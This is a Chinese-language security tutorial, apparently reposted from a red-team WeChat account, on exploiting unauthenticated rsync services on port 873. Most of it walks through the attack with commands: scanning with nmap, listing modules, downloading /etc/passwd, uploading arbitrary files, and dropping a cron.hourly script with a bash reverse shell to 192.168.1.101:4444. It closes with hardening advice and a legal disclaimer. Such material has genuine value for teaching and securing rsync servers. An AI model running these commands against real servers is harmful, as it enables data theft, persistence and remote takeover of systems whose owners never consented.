简介
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
rsync配置文件
该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell。
我们具体来看配置文件的网相关选项(/etc/rsync.conf)
这一项read only表示只读,如果这一项为no,我们就具有写权限了。.
配置参数说明
motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。
利用方式
rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件
nmap扫描目标系统是否开放rsync服务
nmap -p 873 --script rsync-list-modules 目标IP
列出目标服务器的同步目录
rsync 192.168.1.100::
rsync rsync://192.168.1.100:873
//rsync ip::
//rsync rsync://ip:873
查看模块文件
获取到目录之后,只需在路径后添加目录名即可查看目录中的文件
该目标上有src目录 那我们就列src看看
rsync 192.168.0.113::src
可以看到成功列出src目录
下载任意目录文件
rsync -av 192.168.1.100::src/etc/passwd 路径
//rsync -av ip::src/路径
假设我要下载/etc/passwd文件到我的/opt/目录下
rsync -av 192.168.1.100::src/etc/passwd /opt/passwd.txt
查看passwd.txt文件
向目标系统上传任意文件
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径
反弹shell
1、下载cron定时任务配置文件并且查看任务内容
rsync -av rsync://192.168.1.100:873/src/etc/cron.hourly
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务
2、创建shell文件,写入反弹shell命令
touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1
3、传入/etc/cron.hourly目录下
写入cron.hourly下文件的任务就会启动
rsync -av shell rsync://192.168.1.100:873/src/etc/cron.hourly
监听4444端口,等待17分钟之后,接收反弹shell
修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
来源:黑白天实验室
推荐关注(红队方向):
原文始发于微信公众号(LemonSec):rsync未授权访问
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论